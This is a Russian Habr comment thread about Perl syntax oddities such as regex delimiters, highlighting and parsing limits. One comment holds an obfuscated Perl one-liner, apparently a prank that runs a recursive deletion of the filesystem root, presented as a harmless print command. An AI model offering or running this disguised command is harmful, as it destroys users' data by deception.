Комментарии 54
Хмм… А зачем вообще так писать? Чтобы никто не понял типа?
Или чтобы ВРАГИ не дай Бог не поняли?
Дак враги то они всегда найдут компетентного товарища, а вот друзья будут вспоминать и автор поикивать.
Надеюсь это кусок кода, который в какой-нить утилитке, которая тока чисто для себя делалась и никогда бы не стала переписываться, ибо даже автор бы скорее всего через год сам бы уже не помнил, что он имел в виду.
Или чтобы ВРАГИ не дай Бог не поняли?
Дак враги то они всегда найдут компетентного товарища, а вот друзья будут вспоминать и автор поикивать.
Надеюсь это кусок кода, который в какой-нить утилитке, которая тока чисто для себя делалась и никогда бы не стала переписываться, ибо даже автор бы скорее всего через год сам бы уже не помнил, что он имел в виду.
Вообще-то зная Perl, задумка была правильная как это всё сделать (да и выглядит всё достаточно понятно =) ), просто писал неопытный человек (и невнимательный) и не проверил результат.
Ммм… Признаюсь, что любое выражение на любом языке в одну строку да со столькью-то (!) операторами выглядит мягенько говоря смутненько.
Я признаюсь при всём честном народе, что я перловку в детстве не любил, но и она крайне полезна.
Но ведь можно ЭТО написать чуть более ясно?
// Хотя здесь условия не ясны — вдруг надо было «вот прям щас и чтобы бла-бла-бла!», когда над душой стоит хрень
Я признаюсь при всём честном народе, что я перловку в детстве не любил, но и она крайне полезна.
Но ведь можно ЭТО написать чуть более ясно?
// Хотя здесь условия не ясны — вдруг надо было «вот прям щас и чтобы бла-бла-бла!», когда над душой стоит хрень
Там в коде был комментарий, так что с понятностью проблем не возникло. Тем более, когда имеешь некоторый опыт программирования на Перле, оператор <=> в функции сравнения распознаётся влёт, а справа и слева совершенно идентичные выражения. Затык был не в непонятности кода в целом, а конкретно в составляющих его выражениях.
Ммм… Признаюсь, что любое выражение на любом языке в одну строку да со столькью-то (!) операторами выглядит мягенько говоря смутненько.
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
не печатает…
P.S.: хотя в современных дистрибутивах введена проверка данной программки с последующим вопросом «а вы уверены?», все ж не советую ее исполнять. =)
Как же так??? Ведь всё вроде правильно!
:))
:))
А незнающих людей не жалко?
Хм, у меня печаOH SHI~
Жесть. Бедняга и не догадывался, какую свинью замедленного действия он вам подложил. Надолго работу парализовало? :)
Да не очень. :) Исправить-то было несложно, гораздо интереснее было разобраться, что же там вообще такое происходит и как получилось, что синтаксически некорректные выражения проходят этап компиляции без ошибок и предупреждений.
Разбирались, кстати, вместе с самим автором — он когда эту строчку увидел, у него так же, как и у меня, глаза на лоб вылезли. :)
Разбирались, кстати, вместе с самим автором — он когда эту строчку увидел, у него так же, как и у меня, глаза на лоб вылезли. :)
Спасибо :-) Мораль ещё такая: пользоваться редакторами с адекватной подсветкой синтаксиса.
Проверил в Far'овском колорере и в Absolute Perl'е. Оба подсвечивают, к сожалению, неадекватно, но оба выводят достаточно визуальных матюгов, чтобы заподозрить что-то неладное :-) Кто найдёт редактор или онлайн-хайлайтер, который адекватно раскрасит эту строку? :-)
Absolute Perl:
Far:
Проверил в Far'овском колорере и в Absolute Perl'е. Оба подсвечивают, к сожалению, неадекватно, но оба выводят достаточно визуальных матюгов, чтобы заподозрить что-то неладное :-) Кто найдёт редактор или онлайн-хайлайтер, который адекватно раскрасит эту строку? :-)
Absolute Perl:
Far:
по-моему ни один редактор правильно не подсвечивает такого рода операторы в Perl. В одно время пытались коллективно найти хоть что-то — не нашли :(
P.S. Синтаксис перла можно парсить только на перле :)
P.S. Синтаксис перла можно парсить только на перле :)
Формальное доказательство того, что Перл невозможно распарсить (задача парсинга Перла сводится к задаче остановки). Код в примере, действительно, невозможно корректно разукрасить:
Если функция whatever принимает аргумент, он получит результат match-оператора / 25; # /, применённый к $_, после чего случится die. Если функция whatever не принимает аргумент, результат её выполнения будет разделен на 25, а die будет закомментирован.
whatever / 25 ; # / ; die "this dies!";
Если функция whatever принимает аргумент, он получит результат match-оператора / 25; # /, применённый к $_, после чего случится die. Если функция whatever не принимает аргумент, результат её выполнения будет разделен на 25, а die будет закомментирован.
Geany:
Хотя Notepad++ победил таки:
MC:
Emacs:
VIM:
Emacs:
VIM:
Komodo Edit тоже не справился.
Честно говоря, всё равно не понял, почему нельзя было использовать более стандартное решение с "/", а искомые "/" экранировать обратными слэшами?
Ну, как бы то ни было, автор — не лентяй, коль разобрался в чужом коде. Я б просто переписал. ;)
Ну, как бы то ни было, автор — не лентяй, коль разобрался в чужом коде. Я б просто переписал. ;)
Я чуть выше написал — разбирались вместе с автором того кода. Переписать несложно, интереснее было понять, в чём соль (и учесть на будущее).
А что касается слэшей — это врождённая нелюбовь к «заборчикам» (как у автора кода, так и у меня).
А что касается слэшей — это врождённая нелюбовь к «заборчикам» (как у автора кода, так и у меня).
И ещё одна мораль: пишите, наконец, эти долбаные тесты :-)
а не заметили этого раньше лишь по той причине, что сортировка была чисто косметическим улучшениемЧувак, который написал сортировку даже не удосужился два-три раза внимательно посмотреть на результат с разными входными данными? Он, наверное, пока меньше 10 КБ кода нового не напишет, не смотрит, как всё работает, а потом просто запамятовал. :)
погольфим?
sort { (() = $a =~ /(\/)/g) <=> (() = $b =~ /(\/)/g } @array
sort { (() = $a =~ /(\/)/g) <=> (() = $b =~ /(\/)/g } @array
Известный факт, описанный в perldoc perlre
Да, я же так и написал, что поведение документированное. Но многие ли могут похвастаться тем, что прочитали, усвоили и запомнили весь перлдок? :)
У меня есть в загашнике парочка заготовок, где описаны интересные возможности Перла, которые, несмотря на их документированность, редко попадаются на глаза и, как следствие, известны не всем. Планирую их тоже слегка подрихтовать и выложить на Хабр.
У меня есть в загашнике парочка заготовок, где описаны интересные возможности Перла, которые, несмотря на их документированность, редко попадаются на глаза и, как следствие, известны не всем. Планирую их тоже слегка подрихтовать и выложить на Хабр.
Блин, ну почему у этих скриптовых языков всегда такой долбанутый синтаксис. g вместо скобок — кому такое только в голову прийдёт?..
Честно говоря очень удобно и наглядно, конечно же если есть редактор с подсветкой синтаксиса.
Мне кажется, было бы разумное ограничение, что скобки у обоих параметров должны быть одинаковыми. Тогда проблемы бы не возникло.
У многих скриптовых языков весьма строгий и понятный синтаксис :-)
У многих скриптовых языков весьма строгий и понятный синтаксис :-)
Не нужно мерить всё вокруг со своей колокольни.
Одна g вместо двух скобок… вполне наглядно. Да и вообще, при непонимании логики незнакомого языка для начала не плохо просто смириться и просто запомнить что так надо. Потом, через время, скорее всего, придет понимание что это таки да — удобно и наглядно. Это относится и к человеческим языкам и к языкам программирования.
> Одна g вместо двух скобок… вполне наглядно.
Вообще-то две g.
Вы это серьёзно?
> при непонимании логики незнакомого языка
Я несколько знаком с Perl, автор поста явно более чем знаком, и тем не менее it came as a surprise для нас обоих (-;
Вообще-то две g.
Вы это серьёзно?
> при непонимании логики незнакомого языка
Я несколько знаком с Perl, автор поста явно более чем знаком, и тем не менее it came as a surprise для нас обоих (-;
Улыбнуло :)
Хроршая статься. Недавно наткнулся на нечто подобное, по началу тоже удивло:
foreach ( qw(file1 file2 file3) ) { next unless -e _; # без знака доллара }
ну тут всё просто, use strict и всё сразу понятно
Ошибки быть не должно) Хотя, конечно, код неправильный.
Если выше по коду для какого-то файла был заполнен
Читать по теме: perldoc.perl.org/functions/-X.html
_в данном случае — файловый дескриптор, который неявно открывается при вызовах stat() и некоторых filetest-функций (-w, -f, etc.).
Если выше по коду для какого-то файла был заполнен
_, то в данном цикле -e будет возвращать истину на всех итерациях даже если файла не существует.
Читать по теме: perldoc.perl.org/functions/-X.html
Упс, оформление похерилось. Надеюсь осталось ясным, что литерал _ — это файловый дескриптор, а не переменная $_ у которой забыли сигил)
Только возвращает оно 0 или 1, тк глобальной замены не происходит
$_ = '456';
s s5sZss # 8-)
s s5sZss # 8-)
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Особенности национальных выражений